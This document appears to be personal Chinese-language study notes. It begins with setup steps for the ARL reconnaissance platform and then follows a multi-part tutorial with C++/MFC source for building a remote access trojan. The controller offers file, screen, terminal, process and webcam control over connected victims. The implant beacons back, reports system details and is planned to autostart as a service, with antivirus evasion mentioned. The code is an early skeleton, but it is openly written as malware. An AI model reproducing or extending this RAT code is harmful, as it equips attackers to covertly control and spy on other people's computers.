ssl_cert: 6.27
find_site: 5.22
fetch_site: 1.07
site_identify: 3.09
site_capture: 3.34
site_spider: 3.1
file_leak: 505.64
nuclei_scan: 222.18
npoc_service_detection: 94.28
poc_run: 46.35
weak_brute: 8.48
task_options = {
"port_scan_type": "all",
"port_scan": True,
"service_detection": True,
"service_brute": True,
"os_detection": True,
"site_identify": True,
"file_leak":True,
"ssl_cert": True
}
ARL-Puls
GitHub地址:https://github.com/ki9mu/ARL-plus-docker/releases
config-docker.yaml文件
https://mp.weixin.qq.com/s/hHTkdj3J3ChhxzBlHFBZ3g
yum install git
下载到本地就可以了
git clone https://github.com/loecho-sec/ARL-Finger-ADD
进入目录
cd ARL-Finger-ADD
建议把指纹文件(finger.json)替换为比较新一些的EHole_magic指纹文件
访问链接下载指纹文件并替换原文件即可
https://github.com/lemonlove7/EHole_magic/blob/main/finger.json
连接arl
python ARL-Finger-ADD.py -O https://vps:5003/ admin arlpass
安装说明
源码地址 https://github.com/TophantTechnology/ARL
https://github.com/TophantTechnology/ARL/wiki/Docker-%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85-ARL
安装环境
uname -a
Linux VM-24-12-centos 3.10.0-1160.49.1.el7.x86_64 #1 SMP Tue Nov 30 15:51:32 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/redhat-release
CentOS Linux release 7.9.2009 (Core)
默认 有 docker compose环境 并 启动
ubuntu
docker安装一键命令:
curl -fsSL https://test.docker.com -o test-docker.sh
sudo sh test-docker.sh
docker-composd一键安装命令:
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
python一键安装命令:
sudo apt-get install python
git clone 获取docker-compose.yml 等文件
git clone https://github.com/TophantTechnology/ARL
sudo apt-get install docker-compose
docker pull tophant/arl 从镜像仓库中拉取或者更新指定镜像
docker run -dt --name arl -p 5003:5003 --rm tophant/arl
mkdir docker_arl
cd docker_arl
wget -O docker_arl/docker2.5.1.zip https://github.com/TophantTechnology/ARL/releases/download/v2.5.1/docker.zip
unzip docker2.5.1.zip
docker volume create arl_db 挂在docker 数据不丢失
docker-compose up -d 以后台的方式运行容器
问题 :

WARNING: IPv4 forwarding is disabled. Networking will not work.
开启 ipv4转发
vim /etc/sysctl.conf
#配置转发
net.ipv4.ip_forward=1
#保存退出就可以了
:wq!
#重启服务,让配置生效
systemctl restart network
#查看是否成功,如果返回为“net.ipv4.ip_forward = 1”则表示成功
sysctl net.ipv4.ip_forward
#重启docker
sudo systemctl start docker
#查看运行过的容器
sudo docker ps -a
#开启mysql容器开机启动
sudo docker update mysql --restart=always
漏洞监控
https://mp.weixin.qq.com/s/Gp3-iWS-l7DFdyfheDcpew
爬取exploit_db,github,seebug,metasploit,vulhub等多个平台的漏洞信息
init参数用来初始化,包括爬取历史漏洞信息等等。
crawl参数用来获取每日更新,并进行推送。
从零开始VC++C/S远程控制软件RAT-MFC
[1]远控介绍及界面编写
1.远程控制软件演示及教程简要说明









服务启动 ---- 注销 模式 可以自动启动服务 上线
- 编写前 功能了解分析
- 界面 运行模式
主程序

主对话框
操作菜单
列表框


配置信息

多线程操作
非模式对话框



2.环境:
操作系统:Windows 7
编译器:VS2008
3.界面编程
https://www.cctry.com/
新建项目



使用静态库MFC
为了在没有 安装运行库的 主机上使用



删除默认控件

设置项目



去除兼容问题

调出系统菜单

最大化最小化

可拖拽border

添加资源 菜单
client.rc 中添加资源

文件 退出
选项 配置
关于 关于我们
关联菜单 ID

导入资源

添加菜单 信息
相关代码
.h 头文件中创建
private:
CToolBar m_toolbar; //工具条类
CImageList m_imagelist; // 图像列表
CStatusBar m_statusbar;
CBitmap m_subbmp[6];
CImageList m_mainicon;
void UpdateMain(int port);
UINT m_port;
UINT m_max;
UINT m_Sound;
public:
CListCtrl m_list;
菜单项 + 图标
菜单栏
列表框 + 图标 
cpp中添加 UpdateMain代码

五个重载方法
第一个 注意 参数 无符号整形
查询 MSDN

· 位图对象
· 颜色信息
宏 定义 id号 对应 资源
rc的代码
· id 号
· 资源类型
· 具体路径
void 你的Dlg::UpdateMain(int port)
{
// 创建图像列表
m_imagelist.Create(32,32,ILC_COLOR24|ILC_MASK,1,1);
CBitmap bmp;
// 创建位图对象
for(int i=0;i<8;i++)
{
// 通过 id 依次导入位图
bmp.LoadBitmapW(IDB_BITMAP1+i);
// 将真彩色255 位图 添加进 image列表
m_imagelist.Add(&bmp,RGB(255,255,255));
bmp.DeleteObject();
// 释放资源
}
/*
m_bmp[0].LoadBitmap(IDB_MENU_EXIT);
m_bmp[1].LoadBitmap(IDB_MENU_SETTING);
m_bmp[2].LoadBitmap(IDB_MENU_ABOUT);
m_subbmp[0].LoadBitmapW(IDB_MENU_AGENT);
m_subbmp[1].LoadBitmapW(IDB_MENU_SHUTDOWN);
m_subbmp[2].LoadBitmapW(IDB_MENU_RESTART);
m_subbmp[3].LoadBitmapW(IDB_MENU_UPDATE);
m_subbmp[4].LoadBitmapW(IDB_MENU_HTTP);
m_subbmp[5].LoadBitmapW(IDB_MENU_RUN);
GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[0], &m_bmp[0]);
GetMenu()->GetSubMenu(1)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[1], &m_bmp[1]);
GetMenu()->GetSubMenu(2)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[2], &m_bmp[2]);
*/
// 工具栏的设定
// 包含九个元素[按钮ID]的 无符号整形 常量 数组 0为竖线
const UINT t[9] = {1001,1002,1003,1004,1005,1006,0,1007,1008};
// 用于单击事件的触发
// 指向this 指针 主对话框
m_toolbar.CreateEx(this);
// id数组 数量
m_toolbar.SetButtons(t,9);
// 按钮 图标 设置大小
m_toolbar.SetSizes(CSize(60,56),CSize(24,24));
m_toolbar.SetButtonText(0,_T("文件管理"));
m_toolbar.SetButtonText(1,_T("屏幕监控"));
m_toolbar.SetButtonText(2,_T("超级终端"));
m_toolbar.SetButtonText(3,_T("进程管理"));
m_toolbar.SetButtonText(4,_T("视频监控"));
m_toolbar.SetButtonText(5,_T("卸载主机"));
m_toolbar.SetButtonText(7,_T("程序设置"));
m_toolbar.SetButtonText(8,_T("关于软件"));
//关联 imagelist GetToolBarCtrl()获取指针 设置图像列表
m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);
// 状态栏设置
BOOL hbar = m_statusbar.Create(this);
UINT b[2]={1009,1010};
hbar = m_statusbar.SetIndicators(b,2);
// 关联状态栏 id 按钮id 风格 长度
m_statusbar.SetPaneInfo(0,b[0],SBPS_NORMAL,400);
m_statusbar.SetPaneInfo(1,b[1],SBPS_NORMAL,180);
CString ListemPort;
ListemPort.Format(_T("监听端口:%d"),port);
m_statusbar.SetPaneText(0,ListemPort);
m_statusbar.SetPaneText(1,_T("在线主机:0 台"));
// 重设 工具条
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);
/*
m_mainicon.Create(16,16,ILC_COLOR24|ILC_MASK,1,0);
m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_USER)));
m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_CAM)));
m_list.SetImageList(&m_mainicon,LVSIL_SMALL);
*/
// 重新 设置列表框 拓展风格 整行选中 报表 复选框
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES);
// 插入条目
m_list.InsertColumn(0,_T("地理位置"),LVCFMT_LEFT,160);
m_list.InsertColumn(1,_T("IP地址"),LVCFMT_LEFT,110);
m_list.InsertColumn(2,_T("操作系统"),LVCFMT_LEFT,90);
m_list.InsertColumn(3,_T("代理状态"),LVCFMT_LEFT,60);
m_list.InsertColumn(4,_T("服务端版本号"),LVCFMT_LEFT,100);
GetClientRect(&m_rect);
}
有些东西需要注释掉
添加列表框
程序框最大化
留出 工具栏菜单栏状态栏地方
列表栏View 改成报表


添加控件变量




注意update函数 
主函数初始化端口



类视图重载函数


BOOL CExecN0vvDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if(pMsg->message==WM_KEYDOWN)
{
int nVirtKey = (int)pMsg->wParam;
if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
判断 传入的无符号整形的参数 是否为 WM_KEYDOWN
按键消息
等于回车 或者 ESC 截断
退出程序
void CExecN0vvDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
int t = MessageBoxW(_T("确定要退出程序吗?"),_T("提示"),MB_YESNO|MB_ICONINFORMATION);
if(t == IDYES)
{
//CloseAllSocket();
::closesocket(s);
m_Mysock.Clean();
}
else
{
return;
}
CDialog::OnClose();
}
private:
CToolBar m_toolbar;
CImageList m_imagelist;
CStatusBar m_statusbar;
CBitmap m_subbmp[6];
CImageList m_mainicon;
void UpdateMain(int port);
UINT m_port;
UINT m_max;
UINT m_Sound;
CRect m_rect;
bool InitSocket();
SOCKET s;
static DWORD WINAPI OninitSocket(LPVOID self);
void AddHost(SOCKET sock,SOCKADDR_IN addr);
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);
LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);
void ShowOnLine();
CMysocket m_Mysock;
public:
CListCtrl m_list;
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
};
[2]界面编写及上线
1.课前回顾
#pragma comment(lib,“ws2_32.lib”)
unicode编码 字符串
_T 宏
多字节编码 ----字符集 知识点
项目属性


2.界面编程(下)
对话框
对话框资源
头文件 添加
private:
CToolBar m_toolbar;
CImageList m_imagelist;
CStatusBar m_statusbar;
CBitmap m_subbmp[6];
CImageList m_mainicon;
void UpdateMain(int port);
UINT m_port;
UINT m_max;
UINT m_Sound;
CRect m_rect; // 矩形变量


重载消息函数
查看声明

Dlgcpp里
// 当客户端大小发生改变 计算差值 客户端内部控件 同步改变
void CExecN0vvDlg::OnSize(UINT nType, int cx, int cy)
{
// 基类 对对话框改变
CDialog::OnSize(nType, cx, cy);
// 类型等于最小化的 宏
if(nType == SIZE_MINIMIZED)
{
return;
}
// TODO: 在此处添加消息处理程序代码
CWnd *pWnd; // 窗口类指针
pWnd = GetDlgItem(IDC_LIST1); //获取控件句柄 条目id
// 控件大小操作
if(pWnd)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
{
CRect rect,rect_l; //获取控件变化前大小 eg 50x50
GetClientRect(&rect_l); // 客户区 控件大小
pWnd->GetWindowRect(&rect);
ScreenToClient(&rect);
rect.right = cx; // 把控件大小变换
//rect_l 变化前
rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
pWnd->MoveWindow(rect);//设置控件大小
// 重设状态栏 置底
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);
}
/*
else
{
delete pWnd;
}
*/
GetClientRect(&m_rect);
// 还是记录初始值
}

更改对话框同步更改

初始化时候调用了 updatemain
初始化程序界面
获取客户端程序客户区 界面大小
存放在 m_rect
3.服务端上线,下线,以及客户端的资源销毁(上)
列表控件

常规对应 socket指针
我们对应一个类指针
启动监听线程
不会发生阻塞状态
添加socket 变量

添加 socket 消息
头文件定义 InitSocket
Dlgcpp 加入
bool C你的Dlg::InitSocket() //初始化SOCKET
{
WSADATA WSAData; // 初始化
WSAStartup(MAKEWORD(2,2), &WSAData);
SOCKADDR_IN saddr; // 声明结构体
// 结构体操作 初始化
s=::socket(AF_INET,SOCK_STREAM,0);
if(s==SOCKET_ERROR)
{
MessageBox(_T("创建连接失败"),_T("提示"),MB_OK|MB_ICONWARNING);
return false;
}
// 结构体赋值
saddr.sin_family=AF_INET;
saddr.sin_addr.S_un.S_addr=INADDR_ANY;
saddr.sin_port=htons(m_port);
int nRet;
nRet=::bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
if(nRet == SOCKET_ERROR)
{
MessageBox(_T("绑定端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
return false;
}
// 最大上线主机数量 m_max Wint类型
nRet=listen(s,m_max);
if(nRet == SOCKET_ERROR)
{
MessageBox(_T("监听端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);
return false;
}
while(1)
{
SOCKET SerSock;
SOCKADDR_IN Seraddr; // 结构体
int Seraddrsize=sizeof(Seraddr);
// 接受连接
SerSock = accept(s,(sockaddr *)&Seraddr,&Seraddrsize);
if (SerSock == INVALID_SOCKET)
{
continue;
}
// 添加主机
AddHost(SerSock,Seraddr);
}
return true;
}
syc系列 winSocket I/O模型
填补config信息

创建线程函数 并运行
为了适配多线程
防止上面的循环死锁 堵塞
所以把初始化操作封装到一个函数内
Dlgcpp
// 空指针 传递了一个 当前类的 this指针
DWORD WINAPI C你的Dlg::OninitSocket(LPVOID self) //初始化Socket线程
{
// 强制转换
C你的Dlg* t = (C你的Dlg*)self;
t->InitSocket();
return 0;
}
头文件静态声明
static DWORD WINAPI OninitSocket(LPVOID self);

关闭句柄
添加Addhost
void C你的Dlg::AddHost(SOCKET sock,SOCKADDR_IN addr) //添加主机函数
{
GetNewItemData(sock,addr);
// 每一个主机节点都是一个类的指针 新申请一个类指针
return;
}
头文件声明
void AddHost(SOCKET sock,SOCKADDR_IN addr);
添加 getItemData
void C你的Dlg::GetNewItemData(SOCKET sock,SOCKADDR_IN addr) //获取新的条目数据
{
// 条目信息类 指针 并判断 id是否重复
CItemData *item;
int id; //声明新的id
int Count = m_list.GetItemCount();
if(Count == 0)
{
id = 0;
}
else
{
id = 0;
for(int i=0;i<Count;i++)
{
item = (CItemData*)m_list.GetItemData(i);
if(item->m_id == id) // 判断是否为这个 id
{
i = 0;
id = id + 1;
continue;
}
}
}
item = NULL;
item = new CItemData(id,sock,&addr,this->m_hWnd);
// 声明一个 条目类
item->Run();
// 最后调用了 run这个函数
}
头文件声明
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);
创建列表节点类


头文件中调用这个类

ItemData编写
构造函数
cpp 方法 条目信息
CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
this->m_id = id; // 上线主机id号 删除操作
this->m_sock = sock; // 消息传递 SOCKADDR_IN *addr 对方ip获取操作
this->m_hWnd = m_hWnd; // 获取父类指针
char *csIP = inet_ntoa(addr->sin_addr); // inet_ntoa 获取ip addr结构体
m_IP.Format(_T("%s"),_T("127.0.0.1"));
m_Address.Format(_T("未知"));
if(m_Address.IsEmpty()) // 地理位置信息
{
m_Address.Format(_T("未知"));
}
}
//m_IP.Format(_T("%s"),m_str.CharToCString(csIP));
//m_Address = QQ.IP2Add(m_IP);
头文件
#pragma once
class CItemData
{
public:
CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd);
~CItemData(void);
UINT m_id;
void Run();
SOCKET GetSocket();
CString m_IP;
CString m_Address;
CString m_OS;
CString m_Ver; // 操作系统版本
bool Cam; // 摄像头
// 私有成员变量
private:
SOCKET m_sock;
HWND m_hWnd;
static DWORD WINAPI OnListen(LPVOID lp);
void OnBeginListen();
};
类成员监听线程
DWORD WINAPI CItemData::OnListen(LPVOID lp)
{
CItemData* t = (CItemData*)lp;
t->OnBeginListen(); // 调用监听线程
return 0;
}
运行函数
用多线程手法来运行 监听线程
void CItemData::Run()
{
::CloseHandle(CreateThread(0,0,OnListen,(LPVOID)this,0,0));
}
监听线程
监听远程主机信息 操作
发送信息等等
void CItemData::OnBeginListen() //等待完善
{
}

[3]客户端与服务端连接
OnBeginListen 函数
远程主机节点信息条目
前情回顾
主函数->初始化->创建线程->while循环监听->主机上线->itemrun->创建远程信息监听线程
(获取操作系统,磁盘信息)
void CItemData::OnBeginListen() //等待完善
{
int nRet; // socket 是否发送成功
MSGINFO msg; // 接受远程主机发送过来的信息 的结构体 双向
memset(&msg,0,sizeof(MSGINFO)); // 初始化 重置0
msg.Msg_id = SYSINFO;
nRet = m_Mysocket.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO)); // 操作类
// send 成员方法 发送连接
if(nRet == SOCKET_ERROR)
{
MessageBox(_T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);
}
memset(&msg,0,sizeof(MSGINFO));
while(true) // 不断获取远程客户端发送来的信息
{
// 结构体格式发送 socket值 缓存区字符(指针强制转换) 大小
nRet = m_Mysocket.RecvCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
if(nRet == 0)
{
if(WSAGetLastError()==WSAEWOULDBLOCK) //WSAEWOULDBLOCK的错误,则表示要发生阻塞了
{
Sleep(50);
continue; //进行下次循环
}
else
{
//接收消息失败,发送下线通知
::closesocket(m_sock);
::SendMessageW(this->m_hWnd,ID_OFFLINE,this->m_id,0); // 发送给主窗口
// itemdata 的成员 m_hWnd 获取 类的指针
// 窗体 消息 高字节 低字节 下线主机的id值 0
return;
}
}
else
{
switch(msg.Msg_id) // 消息的判断
{
case SYSINFO: // 获取主机信息操作
{ // 上线处理
SYSTEMINFO systeminfo;
// 初始化
memset(&systeminfo,0,sizeof(SYSTEMINFO));
memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
GetSysVer(systeminfo);
::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
}
break;
}
}
}
}
远控软件 的 消息传递 - 结构体
消息 类别id、内容
typedef struct tagMSGINFO
{
int Msg_id;
BYTE context[1024*5];
}MSGINFO;
#define SYSINFO 0x01
Common头文件新建项

结构体宏定义
#pragma once
#include "stdafx.h"
#define SYSINFO 0x01
// 两个消息 上线 下线信息
#define ID_ONLINE WM_USER+1
#define ID_OFFLINE WM_USER+2
typedef struct tagMSGINFO //传输消息结构体
{
int Msg_id;
BYTE context[1024*5];
}MSGINFO;
typedef struct tagSYSTEMINFO //上线信息
{
int os;
bool Cam; //摄像头
double ver;
}SYSTEMINFO;
m_Mysocket C++类的编写
添加C++类

头文件
public:
CMySocket(void);
~CMySocket(void);
void Clean();
int RecvCommand(SOCKET socket,char* buf,int bytes);
int SendCommand(SOCKET socket,const char* buf,int bytes);
};
源文件
int CMySocket::SendCommand(SOCKET socket,const char* buf,int bytes)
{
// char 的指针
const char *b = buf;
while(bytes > 0) // 保证完全发送
{
int r = send(socket,b,bytes,0); // 用api发送
if(r < 0) // 发送出错
{
return r;
}
else if(r == 0) // 成功
{
break;
}
bytes -= r;
b += r;
}
return b - (char*)buf;
}
int CMySocket::RecvCommand(SOCKET socket,char* buf,int bytes)
{
char *b = (char*)buf;
while(bytes > 0)
{
int r = recv(socket,b,bytes,0);
if(r < 0)
{
return 0;
}
else if(r == 0)
{
break;
}
bytes = bytes - r;
b = b + r;
}
return b - (char*)buf;
}
void CMySocket::Clean()
{
::WSACleanup(); // 销毁 WSA 调用
}
itemData调用
头文件引入
#include "MySocket.h"
#include "Common.h"
private:
static DWORD WINAPI OnListen(LPVOID lp); // 生存周期比较长 静态
void GetSysVer(SYSTEMINFO sys);
CMySocket m_Mysocket; // 引入
源文件引入
void CItemData::GetSysVer(SYSTEMINFO sys)
{
this->Cam = sys.Cam;
this->m_Ver.Format(_T("%0.2lf 测试版"),sys.ver);
switch(sys.os)
{
case 4:
{
this->m_OS.Format(_T("Windows 7"));
}
break;
case 3:
{
this->m_OS.Format(_T("Windows 2003"));
}
break;
case 2:
{
this->m_OS.Format(_T("Windows Vista"));
}
break;
case 1:
{
this->m_OS.Format(_T("Windows XP"));
}
break;
case 0:
{
this->m_OS.Format(_T("Windows 2000"));
}
break;
default:
{
this->m_OS.Format(_T("未知系统版本"));
}
}
}

继承
class CItemData : public CDialog
也可以添加类的时候 写上基类
MessageBox( _T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);
消息传递函数
将结构体传递到窗体
上线信息
LRESULT C你的Dlg::OnAddHost(WPARAM wparam,LPARAM lparam) //主机上线消息体
{
CItemData *t = (CItemData*)wparam; // 高字节强制转换成类指针
int i = m_list.GetItemCount();
m_list.InsertItem(i,t->m_Address,0);
m_list.SetItemText(i,1,t->m_IP);
m_list.SetItemText(i,2,t->m_OS);
m_list.SetItemText(i,3,_T("未开启"));
m_list.SetItemText(i,4,t->m_Ver);
m_list.SetItemData(i,(DWORD)t); // 指针保存
ShowOnLine();
if(m_Sound == 1) // 初始化的值
{
PlaySoundW(_T("Sound\\online.wav"),0,SND_FILENAME|SND_ASYNC);
}
return 0;
}
下线
LRESULT C你的Dlg::OnOffLine(WPARAM wparam,LPARAM lparam) //主机下线消息体
{
CItemData* t;
for(int i=0;i<m_list.GetItemCount();i++)
{
t = (CItemData*)m_list.GetItemData(i); // 获取类的指针 id 号强转
if(t->m_id == (int)wparam) // 比较
{
::closesocket(t->GetSocket());
delete t; // 防止资源泄漏
m_list.DeleteItem(i);
}
}
ShowOnLine();
if(m_Sound == 1)
{
PlaySoundW(_T("Sound\\offline.wav"),0,SND_FILENAME|SND_ASYNC);
}
return 0;
}
使用消息宏
//主机消息
ON_MESSAGE(ID_ONLINE,OnAddHost)
ON_MESSAGE(ID_OFFLINE,OnOffLine)
声明消息处理函数
头文件中
private:
LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);
LRESULT OnOffLine(WPARAM wparam,LPARAM lparam); // 长指针
void ShowOnLine();
ShowOnLine()
更新底部状态栏的数量
void C你的Dlg::ShowOnLine() //设置在线主机
{
int c=m_list.GetItemCount();
CString online;
TCHAR* szText;
online.Format(_T("在线主机:%d 台"),c);
szText = online.GetBuffer(online.GetLength());
// 状态栏类 重设消息值
::SendMessageW(m_statusbar, SB_SETTEXTW, (WPARAM)1, (LPARAM)szText);
online.ReleaseBuffer();
// 释放缓冲区
}

GetSocket()
SOCKET CItemData::GetSocket()
{
return this->m_sock;
}
SOCKET GetSocket();


PlaySoundW
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")

[4]客户端与服务端连接
服务端编写
新建工程


server函数
// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
void Server();
void Server()
{
CThreadMain Thread_Main; // 主线程类 对象
Thread_Main.GetInfo(); //获取配置信息
/*if(Auto[1] == '1')
{
wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);
}*/
// 增加自启动 服务名
while(true)
{
if(Thread_Main.RunFlag == false)
{
break;
}
SOCKET sock;
sock = Thread_Main.Run();
Thread_Main.Command(sock);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
Server();
return 0;
}
创建主线程类

获取配置信息
void CThreadMain::GetInfo()
{
int Port = atoi(czPort);
this->Time = atoi(czTime);
this->SetupDir = atoi(czSetupDir);
this->AutoFlag = atoi(czAuto);
}
用来生成配置文件

运行
SOCKET CThreadMain::Run()
{
SOCKET sock;
while(true)
{
sock = m_sock.StartSocket(this->Address); // 连接远程主机 ip
if(sock == NULL)
{
Sleep(this->Time * 1000); // 等待60s
printf("Sleep\n");
continue;
}
else
{
break;
}
}
return sock;
}
command 命令
void CThreadMain::Command(SOCKET Sock)
{
MSGINFO_S msg;
m_Socket = Sock;
while(1)
{
if(this->RunFlag == false) // 程序是否可以运行
{
break;
}
memset(&msg,0,sizeof(MSGINFO_S)); // 消息结构体 清空
if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0) // 连接
{
break;
}
ExecCommand(msg,Sock); // 执行命令
}
return;
}
void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{
switch(msg.Msg_id)
{
case SYSINFO:
{
printf("GetSystemInfo\n");
m_sys.SendSysinfo(l_Socket);
}
break;
default:
{
printf("UnKnow Command\n");
return;
}
}
}
头文件里创建引用
#pragma once
class CThreadMain
{
public:
CThreadMain(void);
~CThreadMain(void);
void GetInfo();
private:
SOCKET Run();
void Command(SOCKET Sock);
void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};
win32 类库/头文件
#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
startsocket 开始监听 类函数
添加类

StartSocket
链接远程ip地址
SOCKET CMySocket::StartSocket(char Address[160])
{
WSADATA data;
WORD w=MAKEWORD(2,2);
::WSAStartup(w,&data);
SOCKET s;
s=::socket(AF_INET,SOCK_STREAM,0);
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(m_port);
addr.sin_addr.S_un.S_addr = inet_addr(Address);
if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("Connect Error\n");
DWORD e = GetLastError();
printf("LastError:%d\n",e);
s = NULL;
}
else
{
printf("Connect Success!\n");
}
return s;
}
SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{
const char *b = buf;
while(bytes > 0)
{
int r = send(socket,b,bytes,0);
if(r < 0)
{
printf("Socket_Error\n");
return r;
}
else if(r == 0)
{
printf("Socket_Error\n");
break;
}
bytes -= r;
b += r;
}
return b - (char*)buf;
}
int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{
char *b = (char*)buf;
while(bytes > 0)
{
int r = recv(socket,b,bytes,0);
if(r < 0)
{
return 0;
}
else if(r == 0)
{
break;
}
bytes = bytes - r;
b = b + r;
}
return b - (char*)buf;
}
#pragma once
#include "stdafx.h"
class CMySocket
{
public:
CMySocket(void);
~CMySocket(void);
SOCKET StartSocket(char Address[160]);
int MySend(SOCKET socket,const char* buf,int bytes);
int MyRecv(SOCKET socket,char* buf,int bytes);
};

设置




m_sock
#pragma once
#include "stdafx.h"
#include "MySocket.h"
private:
void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
CMySocket m_sock;
char Address[160];
};

void CThreadMain::GetInfo()
{
int Port = 1474;
//this->Time = 60;
//this->SetupDir = 0;
//this->AutoFlag = 1;
m_sock.m_port = Port;
strcpy_s(Address,"127.0.0.1");
}
Common 头文件
头文件 新添加项

MSGINFO_S 结构体
#pragma once
#include <windows.h>
#define SYSINFO 0x01
typedef struct tagMSGINFO //传输消息结构体
{
int Msg_id;
BYTE context[1024*5];
}MSGINFO_S;
typedef struct tagSYSTEMINFO
{
int os;
bool Cam; //摄像头
double ver;
}SYSTEMINFO_S;
ThreadMain头文件
#pragma once
#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
class CThreadMain
{
public:
CThreadMain(void);
~CThreadMain(void);
void GetInfo();
bool RunFlag;
SOCKET Run();
void Command(SOCKET Sock);
private:
void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
CMySocket m_sock;
char Address[160];
SOCKET m_Socket;
};
runflag 启动
#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")
void Server();
void Server()
{
CThreadMain Thread_Main;
Thread_Main.RunFlag = true;
Thread_Main.GetInfo(); //获取配置信息


[5]客户端与服务端连接
端
发送连接->进入主线程->返回socket->执行命令
->SYSINFO获取系统信息->发送系统信息
switch(msg.Msg_id)
{
case SYSINFO:
{
printf("GetSystemInfo\n");
m_sys.SendSysinfo(l_Socket);
}
break;
default:
{
printf("UnKnow Command\n");
return;
}
}
封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放
操作系统SystemInfo类

获取系统信息
int CSystemInfo::GetSys_ver()
{
OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};
GetVersionEx(&osver);
int t;
if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)
{
t = 0;
}
else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)
{
t = 1;
}
else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
{
t = 2;
}
else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)
{
t = 3;
}
else t = 4;
return t;
}

发送系统信息
void CSystemInfo::SendSysinfo(SOCKET sock)
{
SYSTEMINFO_S system;
system.os = GetSys_ver();
system.ver = 0.1; //版本号
system.Cam = false;
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SYSINFO;
memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));
m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));
// 使用了 CMysocket这个类
}
头文件声明
#pragma once
#include "MySocket.h"
#include "Common.h"
class CSystemInfo
{
public:
CSystemInfo(void);
~CSystemInfo(void);
void SendSysinfo(SOCKET sock);
CMySocket m_sock;
private:
int GetSys_ver();
};
#define SYSINFO 0x01
// 通用结构体文件

路径
自启动
头文件调用
#pragma once
#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"
class CThreadMain
{
public:
CThreadMain(void);
~CThreadMain(void);
void GetInfo();
bool RunFlag;
SOCKET Run();
void Command(SOCKET Sock);
private:
void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
CMySocket m_sock;
char Address[160];
SOCKET m_Socket;
int Time;
CSystemInfo m_sys;
};

未找到来自 OleAcc.dll 的导入LINK
/DELAYLOAD:OleAcc.dll;
warning LNK4199: 已忽略


远程桌面屏幕监控
[24]屏幕监控-(1)屏幕查看与控制技术的讲解
屏幕监控的流程
服务端
while(true)
{
获取图像数据();
//
发送图像数据();
}
客户端
while()
{
//
接受图像数据();
显示图像();
}
